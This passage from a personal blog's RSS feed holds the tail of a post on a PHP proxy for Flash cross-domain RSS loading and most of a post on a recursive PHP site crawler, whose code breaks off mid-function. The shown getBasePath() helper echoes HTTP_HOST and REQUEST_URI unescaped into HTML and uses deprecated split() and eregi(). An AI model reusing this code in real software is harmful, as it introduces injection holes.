<a href="http://www.php.net/readfile" rel="external"><span style="color: #990000;">readfile</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>&nbsp;</p>
<p style="text-align:justify">Since PHP is not affected by this policy, all the RSS feeds would be read through this small script, by calling it like &#8216;proxy.php?url=http://rss.thedomain.com&#8217;. Being this file exactly on the same domain than the AS application, the cross-domain problem is solved.</p>
<p style="text-align:justify">However, I have also found an odd behavior regarding this proxy PHP file: it works perfectly when opening the SWF compiled application directly on the browser (http://yourdomain.com/app.swf), but not when it is loaded as a part of the HTML code (embedded into an HTML page like http://yourdomain.com/app.html). The SWF application just doesn&#8217;t find the file (but it <strong>is</strong> there!), despite it reads without any problem a test text file on the same folder. So it seems as if the question mark &#8216;?&#8217; changed the way the SWF application looks for files or executes url addresses. I don&#8217;t have a reason for this yet, but I guess that it is related to the way the Flash plugin manages the security, by using different <a href="http://help.adobe.com/en_US/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7c5a.html" target="_blank" title="Security Sandbox in AS3" rel="external">sandboxes</a> for direct and embedded executions of the application.</p>
<p style="text-align:justify">The solution for this second collateral problem is passing the domain name as a parameter, so that the full path to the proxy file can be constructed inside the AS application.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p664code10'); return false;">View Code</a> HTML4STRICT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p66410"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code" id="p664code10"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/html.html" rel="external"><span style="color: #000000; font-weight: bold;">html</span></a>&gt;</span>
	<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/head.html" rel="external"><span style="color: #000000; font-weight: bold;">head</span></a>&gt;</span>
		<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/style.html" rel="external"><span style="color: #000000; font-weight: bold;">style</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span>&gt;</span>
			...
		<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/style.html" rel="external"><span style="color: #000000; font-weight: bold;">style</span></a>&gt;</span>
		<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html" rel="external"><span style="color: #000000; font-weight: bold;">script</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;</span>
			...
		<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html" rel="external"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/head.html" rel="external"><span style="color: #000000; font-weight: bold;">head</span></a>&gt;</span>
	<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/body.html" rel="external"><span style="color: #000000; font-weight: bold;">body</span></a>&gt;</span>
		<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html" rel="external"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;flash&quot;</span>&gt;</span>
			<span style="color: #009900;">&lt;? $basepath <span style="color: #66cc66;">=</span> getBasePath<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> ?&gt;</span>
			<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/object.html" rel="external"><span style="color: #000000; font-weight: bold;">object</span></a> <span style="color: #000066;">classid</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot;</span> <span style="color: #000066;">codebase</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://download.macromedia.com/&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;960&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;610&quot;</span>&gt;</span>
		    	<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/param.html" rel="external"><span style="color: #000000; font-weight: bold;">param</span></a> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;allowScriptAccess&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;always&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
		    	<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/param.html" rel="external"><span style="color: #000000; font-weight: bold;">param</span></a> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;movie&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;main.swf?basepath=&lt;?=$basepath?&gt;</span></span>&quot; /&gt;
		    	<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/param.html" rel="external"><span style="color: #000000; font-weight: bold;">param</span></a> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;quality&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;high&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
		    	<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/param.html" rel="external"><span style="color: #000000; font-weight: bold;">param</span></a> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;bgcolor&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#ffffff&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
				<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/param.html" rel="external"><span style="color: #000000; font-weight: bold;">param</span></a> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;basepath&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&lt;?=$basepath?&gt;</span></span>&quot; /&gt;
				<span style="color: #009900;">&lt;embed <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;main.swf?basepath=&lt;?=$basepath?&gt;</span></span>&quot; 
				    quality=high bgcolor=#FFFFFF width=&quot;960&quot; height=&quot;610&quot; name=&quot;main&quot;
				    type=&quot;application/x-shockwave-flash&quot; 
				    pluginspace=&quot;http://www.macromedia.com/go/getflashplayer&quot;&gt;
				<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span>embed&gt;</span>
			<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/object.html" rel="external"><span style="color: #000000; font-weight: bold;">object</span></a>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html" rel="external"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/body.html" rel="external"><span style="color: #000000; font-weight: bold;">body</span></a>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/html.html" rel="external"><span style="color: #000000; font-weight: bold;">html</span></a>&gt;</span></pre></td></tr></table></div>


<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p664code11'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p66411"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code" id="p664code11"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">function</span> getBasePath<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_HOST'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$aPath</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/split" rel="external"><span style="color: #990000;">split</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <a href="http://www.php.net/eregi" rel="external"><span style="color: #990000;">eregi</span></a> <span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'\.php'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$aPath</span><span style="color: #009900;">&#91;</span><a href="http://www.php.net/sizeof" rel="external"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aPath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$aPath</span><span style="color: #009900;">&#91;</span><a href="http://www.php.net/sizeof" rel="external"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aPath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join" rel="external"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$aPath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>&nbsp;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p664code12'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p66412"><td class="code" id="p664code12"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> proxyPath:<span style="color: #0066CC;">String</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">loaderInfo</span>.<span style="color: #006600;">parameters</span>.<span style="color: #006600;">basepath</span> + <span style="color: #ff0000;">'proxy.php'</span>; <span style="color: #808080; font-style: italic;">// proxy for cross-domain problems</span></pre></td></tr></table></div>

<p>&nbsp;</p>
<p style="text-align:justify">In any case, these problems only arise in online mode, I have not had any issue while working from my development suite, so it is when moving to a production environment when the pain in the ass can show out. Finally, this is nothing new, but handy and interesting not to forget.</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2010/09/06/actionscript-and-cross-domain-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basic web mapper</title>
		<link>http://jorgealbaladejo.com/2010/08/21/basic-web-mapper/</link>
		<comments>http://jorgealbaladejo.com/2010/08/21/basic-web-mapper/#comments</comments>
		<pubDate>Sat, 21 Aug 2010 08:00:15 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[Web Crawlers]]></category>
		<category><![CDATA[web crawler]]></category>
		<category><![CDATA[web robot]]></category>
		<category><![CDATA[web spider]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=554</guid>
		<description><![CDATA[Sometimes it is useful to have an automated tool to get the full web map of your site. Perhaps not your own web site, since you have already implemented some kind of automatic generation and notification to Google (have not yet?), but a client&#8217;s one. There are a few tools to map an external web [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Sometimes it is useful to have an automated tool to get the full web map of your site. Perhaps not your own web site, since you have already implemented some kind of automatic generation and notification to Google (have not yet?), but a client&#8217;s one.</p>
<p style="text-align: justify;">There are a few tools to map an external web site, I tried some in my particular case. They were just adware, or demos, or they obscured the links in the final report&#8230; Yeah, of course, sometimes a $30 license is worth it, but you might not want to acquire a new piece of proprietary software every time you need a new feature, might you?</p>
<p style="text-align: justify;">So I decided to write it myself in PHP, not for the money, but for the fun <img src='http://jorgealbaladejo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3><span id="more-554"></span></h3>
<h3 style="margin-top: 30px">The architecture</h3>
<p>First of all, a bit of planning the application:</p>
<div id="attachment_557" class="wp-caption aligncenter" style="width: 465px"><img src="http://jorgealbaladejo.com/wp-content/uploads/2010/08/web_mapper.png" alt="Web mapper work flow" class="size-full wp-image-557" style="border: 5px solid white;" title="Web mapper work flow" width="455" height="942" /><p class="wp-caption-text">Web mapper work flow diagram</p></div>
<p style="text-align: center;"><a href="http://jorgealbaladejo.com/wp-content/uploads/2010/08/web_mapper.zip">Web mapper work flow diagram (Visio)</a>.</p>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Let&#8217;s take a look at this work flow diagram. First of all, the mapper reads the entry url address in search of links. The blue color represents the entry and exit points of the application.</p>
<p style="text-align: justify;">Then it reads the HTML code, parses it in search for links, and if found, it runs a loop on each one of them. The green color means the actions taken within the loop. Basically, this involves saving the link into the database, and, if the address is not external (that means, it points to a page within the same domain name), then reading it and starting the process again for this new url.</p>
<p style="text-align: justify;">This practice is commonly known as &#8216;recursion&#8217;, and is represented in orange. When a link within a page is followed, the application has just entered a new recursion level, then reads the  HTML code and seeks for links, starting again a new loop. Think of it like a set of <a href="http://en.wikipedia.org/wiki/Russian_dolls" title="Russian dolls" target="_blank" rel="external">Russian dolls</a>: every link of a page contains a page with more links, so there we start a new entire loop from an iteration of the previous one, and so on.</p>
<p style="text-align: justify;">The recursion will end when a page has no links, or all its links are external. Then the application has found a leaf page, nothing to do deeper than that, and can return one level up. When all the leaf pages are read, this algorithm will return to the main entry level, when, after going through all links found, will finish.</p>
<p style="text-align: justify;">This, depending on the web site structure, can take a few minutes to complete all the mapping, so that is better to use a fast and reliable programming language. In my case, I have used PHP for simplicity&#8217;s sake, since is the language I am using daily, but on a test server where I can increase execution time. For more intensive uses of this script, I would recommend to have it translated into another language, or to run it from console with the PHP interpreter, not from the web server itself.</p>
<p style="text-align: justify;">In addition, this architecture is really basic, that means that a lot of things can be improved. For instance, a check has been added to avoid following links twice. This, however, is not so easy to implement, since inner links can follow different conventions (&#8220;www.domain.com&#8221;, &#8220;domain.com&#8221;, &#8220;sub.domain.com&#8221;, &#8220;/&#8221;, &#8220;./&#8221;). Thus, the code presented below should be used for academic and learning purposes, I can not guarantee that it is going to work perfectly at all.</p>
<h3 style="margin-top: 30px">The code</h3>
<p style="text-align: justify;">Let&#8217;s present the code now. It has been written for the Code Igniter framework, but can be easily ported to no matter what architecture or language. A few conventions:</p>
<ul>
<li>It is based on the class &#8216;spider&#8217;, whose main method &#8216;crawl()&#8217; launches the initial entry point, and the inner and protected method &#8216;_crawl()&#8217; implements the recursion.</li>
<li>All inner and protected methods are preceded by an underscore (_).</li>
<li>A few configuration attributes allow a sandbox definition, limiting the recursion levels and the domains to be crawled.</li>
<li>As said before, it is based on Code Igniter, but in this case that is only to provide an easy interface with the database. You can just replace all instances of $this->ci->db with your own <a href="http://jorgealbaladejo.com/2007/05/24/clase-dbhandler-para-manejar-datos-de-una-base-de-datos/" title="Reading data from a MySQL database">MySQL connection class</a>.</li>
</ul>
<p style="text-align: justify;">Using the class is very simple:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p554code15'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p55415"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code" id="p554code15"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$spider</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> spider<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$spider</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">crawl</span><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span>  <span style="color: #0000ff;">'entry'</span>		<span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'http://jorgealbaladejo.com'</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'domains'</span>	<span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span>	<span style="color: #0000ff;">'jorgealbaladejo.com'</span> <span style="color: #339933;">,</span>
							<span style="color: #0000ff;">'www.jorgealbaladejo.com'</span><span style="color: #339933;">,</span>
							<span style="color: #0000ff;">'jorgealbaladejo.ch'</span><span style="color: #339933;">,</span>
							<span style="color: #0000ff;">'jorgealbaladejo.es'</span>	<span style="color: #009900;">&#41;</span> 
			<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$spider</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">printResults</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>&nbsp;</p>
<p>And finally, the core class code. It is commented so it may be easy to understand, eventually. However, comments, improvements and doubts are welcome, so if you find I am doing something not clearly enough, or you would have just done it in another way, please share your comments! <img src='http://jorgealbaladejo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>&nbsp;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p554code16'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p55416"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
</pre></td><td class="code" id="p554code16"><pre class="php" style="font-family:monospace;"><span style="color: #009933; font-style: italic;">/**
 * Class spider
 * Creates a spider which crawls the internet
 * 
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> spider
<span style="color: #009900;">&#123;</span>
	<span style="color: #009933; font-style: italic;">/**
	 * @var Code Igniter object for database access
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$ci</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * @var maximum recursivity depth
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$max_depth</span> 	<span style="color: #339933;">=</span> <span style="color: #cc66cc;">100</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * @var default domains to restrict crawling
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$domains</span> 	<span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jorgealbaladejo.com'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'vwww.jorgealbaladejo.com'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * @var indentation level
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$indent</span> 	<span style="color: #339933;">=</span> <span style="color: #cc66cc;">20</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * @var internal links array
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$links</span> 	<span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Constructor
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> spider<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ci</span> <span style="color: #339933;">=&amp;</span> get_instance<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
&nbsp;
		<span style="color: #666666; font-style: italic;">// load links in database to internal list</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_loadLinks<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Entry point for recursive function crawl
	 * 
	 * @param object 	$params
	 * @param array 	$params['domains']
	 * @param string	$params['entry']
	 * 
	 * @return boolean
	 *  
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> crawl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset" rel="external"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'domains'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">domains</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'domains'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>	
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset" rel="external"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'entry'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_crawl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'entry'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
&nbsp;
			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>		
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/** 
	 * Recursive crawling function
	 * 
	 * @param string	$page
	 * @param int 		$parent [optional]
	 * @param int 		$depth of current page [optional]
	 * 
	 * @return void
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000000; font-weight: bold;">function</span> _crawl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span> <span style="color: #000088;">$parent</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">// vars</span>
		<span style="color: #000088;">$doc</span> 	<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$title</span> 	<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$desc</span>  	<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$out</span> 	<span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$links</span> 	<span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$link</span> 	<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// correct url</span>
		<span style="color: #000088;">$page</span> 	<span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_buildUrl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #000088;">$parent</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// avoid reading the same url twice</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/array_key_exists" rel="external"><span style="color: #990000;">array_key_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">links</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// only read info for inner pages</span>
